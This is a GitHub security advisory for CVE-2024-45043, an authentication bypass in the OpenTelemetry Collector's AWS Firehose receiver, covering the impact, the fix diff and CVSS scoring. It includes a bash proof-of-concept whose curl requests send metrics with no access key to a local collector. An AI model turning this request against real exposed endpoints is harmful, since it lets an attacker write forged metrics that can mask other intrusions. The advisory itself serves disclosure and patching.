Skip to content

OpenTelemetry Collector module AWS Firehose Receiver Authentication Bypass Vulnerability

Moderate severity GitHub Reviewed Published Aug 28, 2024 in open-telemetry/opentelemetry-collector-contrib • Updated Aug 29, 2024

Package

gomod github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver (Go)

Affected versions

>= 0.49.0, < 0.108.0

Patched versions

0.108.0

Description

Summary

OpenTelemetry Collector module awsfirehosereceiver allows unauthenticated remote requests, even when configured to require a key.

OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key.

Impact

Only OpenTelemetry Collector users configured with the “alphaawsfirehosereceiver module are affected. This module was added in version v0.49.0 of the “Contrib” distribution (or may be included in custom builds).

There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose does not support private HTTP endpoints.

Fix

A fix was introduced in open-telemetry/opentelemetry-collector-contrib#34847 and released with v0.108.0 (https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0).

Details

Details

PoC

When simulating Firehose requests against vulnerable versions of the Collector, we can see “UNAUTHORIZED METRICS” printed to the console via the debug exporter.
(Note this script doesn’t run on some older still-vulnerable versions that do not have the “debug” exporter.)

#!/bin/bash

OTELCOL_VERSION=0.107.0
OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}"
OTELCOL_PLATFORM="linux_amd64"
HOST_PORT=8081

cat > config.yaml << END
# https://opentelemetry.io/docs/collector/configuration/
exporters:
  debug:
    verbosity: normal
receivers:
  awsfirehose:
    endpoint : "127.0.0.1:${HOST_PORT}"
    record_type : "cwmetrics"
    access_key : "1234"
service:
  pipelines:
    metrics:
      receivers:
      - awsfirehose
      exporters:
      - debug
  telemetry:
    logs:
      encoding: "json"
      level: "debug"
END


if [ ! -x "${OTELCOL_BINARY}" ]; then
    curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz
    tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib
    mv otelcol-contrib ${OTELCOL_BINARY}
fi

"./${OTELCOL_BINARY}" --config=config.yaml &
OTELCOL_PID=$!

echo "Running OTel Collector with PID ${OTELCOL_PID}"

sleep 3

# Send metrics with correct access key
if ! curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-valid"\
  -H "X-Amz-Firehose-Access-Key: 1234"\
  --data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo "Unexpected – Request with valid access key did not succeed"
    kill ${OTELCOL_PID}
    exit 1
fi

# Send metrics with incorrect access key
if curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-invalid"\
  -H "X-Amz-Firehose-Access-Key: 5678"\
  --data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo "Unexpected – Request succeeded with invalid access key"
    kill ${OTELCOL_PID}
    exit 1
fi

# Send unauthorized metrics without an access key
if curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-unauthorized"\
  --data '{"requestId":"requestId-unauthorized","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo -e "\n*** Vulnerability present - request with no access key succeeded ***\n"
else
    echo "Not vulnerable - request with no key was denied."
    kill ${OTELCOL_PID}
    exit 1
fi

kill ${OTELCOL_PID}

Patch

The if statement makes the access key header optional, rather than the configuration optional.

This has been patched in #34847 to separately handle the case where access_key is not configured, and use a default-deny style:

diff --git a/receiver/awsfirehosereceiver/receiver.go b/receiver/awsfirehosereceiver/receiver.go
index 6211f61221..4d78eb2778 100644
--- a/receiver/awsfirehosereceiver/receiver.go
+++ b/receiver/awsfirehosereceiver/receiver.go
@@ -233,10 +233,14 @@ func (fmr *firehoseReceiver) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 // validate checks the Firehose access key in the header against
 // the one passed into the Config
 func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {
-       if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != "" && accessKey != string(fmr.config.AccessKey) {
-               return http.StatusUnauthorized, errInvalidAccessKey
+       if string(fmr.config.AccessKey) == "" {
+               // No access key is configured - accept all requests.
+               return http.StatusAccepted, nil
+       }
+       if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {
+               return http.StatusAccepted, nil
        }
-       return http.StatusAccepted, nil
+       return http.StatusUnauthorized, errInvalidAccessKey
 }

diff --git a/receiver/awsfirehosereceiver/receiver_test.go b/receiver/awsfirehosereceiver/receiver_test.go
index b02a391dd5..1ef5bdf4d3 100644
--- a/receiver/awsfirehosereceiver/receiver_test.go
+++ b/receiver/awsfirehosereceiver/receiver_test.go
@@ -123,6 +123,14 @@ func TestFirehoseRequest(t *testing.T) {
                        wantStatusCode: http.StatusUnauthorized,
                        wantErr:        errInvalidAccessKey,
                },
+               "WithNoAccessKey": {
+                       headers: map[string]string{
+                               headerFirehoseAccessKey: "",
+                       },
+                       body:           testFirehoseRequest(testFirehoseRequestID, noRecords),
+                       wantStatusCode: http.StatusUnauthorized,
+                       wantErr:        errInvalidAccessKey,
+               },
                "WithoutRequestId/Body": {
                        headers: map[string]string{
                                headerFirehoseRequestID: testFirehoseRequestID,
### References - https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-prf6-xjxh-p698 - https://nvd.nist.gov/vuln/detail/CVE-2024-45043 - https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847 - https://github.com/open-telemetry/opentelemetry-collector-releases/pull/74 - https://github.com/open-telemetry/opentelemetry-collector-contrib/commit/371bf6afbd7cfa3253fa1674f5444064e86ef0ac - https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html#using-iam-http - https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html - https://github.com/open-telemetry/opentelemetry-collector#alpha - https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver - https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0 - https://github.com/open-telemetry/opentelemetry-collector-releases/tree/main/distributions/otelcol-contrib
Published by the National Vulnerability Database Aug 28, 2024
Published to the GitHub Advisory Database Aug 29, 2024
Reviewed Aug 29, 2024
Last updated Aug 29, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

0.044%
(14th percentile)

CVE ID

CVE-2024-45043

GHSA ID

GHSA-prf6-xjxh-p698

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.